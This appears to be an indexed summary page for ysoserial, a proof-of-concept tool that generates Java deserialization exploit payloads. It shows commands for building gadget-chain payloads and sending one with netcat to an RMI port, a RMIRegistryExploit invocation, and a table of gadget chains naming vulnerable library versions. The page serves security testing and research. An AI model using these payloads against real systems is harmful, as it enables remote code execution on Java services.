ysoserial

repository·master·Indexed 26 days ago

https://github.com/frohoff/ysoserial

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization using various gadget chains found in common libraries. It provides a CLI to generate serialized Java objects that wrap specified commands and includes a specialized RMIRegistryExploit class for targeting RMI registries.

Tokens
1K
Snippets
5
Records
5
Agent score
44%

What's inside ysoserial

  1. Generate and use a Groovy payload

    master

    To use a payload with a network service, you can redirect the output of ysoserial to a file and then pipe that file to a tool like nc (netcat).

    java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
    nc 10.10.10.10 1099 < groovypayload.bin
  2. Use RMIRegistryExploit

    master

    You can use the ysoserial.exploit.RMIRegistryExploit class directly via the classpath to target an RMI registry.

    java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
  3. Use the ysoserial CLI to generate payloads

    master

    The main driver program generates serialized Java objects that wrap a specified command within a gadget chain. The resulting payload is sent to stdout.

    Command Syntax: java -jar ysoserial.jar [payload] '[command]'

    Available Payload Types and Dependencies:

    PayloadAuthorsDependencies
    AspectJWeaver@Jangaspectjweaver:1.9.2, commons-collections:3.2.2
    BeanShell1@pwntester, @cschneider4711bsh:2.0b5
    C3P0@mbechlerc3p0:0.9.5.2, mchange-commons-java:0.2.11
    Click1@artsploitclick-nodeps:2.3.0, javax.servlet-api:3.1.0
    Clojure@JackOfMostTradesclojure:1.8.0
    CommonsBeanutils1@frohoffcommons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
    CommonsCollections1@frohoffcommons-collections:3.1
    CommonsCollections2@frohoffcommons-collections4:4.0
    CommonsCollections3@frohoffcommons-collections:3.1
    CommonsCollections4@frohoffcommons-collections4:4.0
    CommonsCollections5@matthias_kaiser, @jasinnercommons-collections:3.1
    CommonsCollections6@matthias_kaisercommons-collections:3.1
    CommonsCollections7@scristalli, @hanyrax, @EdoardoVignaticommons-collections:3.1
    FileUpload1@mbechlercommons-fileupload:1.3.1, commons-io:2.4
    Groovy1@frohoffgroovy:2.3.9
    Hibernate1@mbechler
    Hibernate2@mbechler
    JBossInterceptors1@matthias_kaiserjavassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
    JRMPClient@mbechler
    JRMPListener@mbechler
    JSON1@mbechlerjson-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
    JavassistWeld1@matthias_kaiserjavassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
    Jdk7u21@frohoff
    Jython1@pwntester, @cschneider4711jython-standalone:2.5.2
    MozillaRhino1@matthias_kaiserjs:1.7R2
    MozillaRhino2@_tint0js:1.7R2
    Myfaces1@mbechler
    Myfaces2@mbechler
    ROME@mbechlerrome:1.0
    Spring1@frohoffspring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
    Spring2@mbechlerspring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
    URLDNS@gebl
    Vaadin1@kai_ullrichvaadin-server:7.7.14, vaadin-shared:7.7.14
    Wicket1@jacob-baineswicket-util:6.23.0, slf4j-api:1.6.4
    java -jar ysoserial.jar CommonsCollections1 calc.exe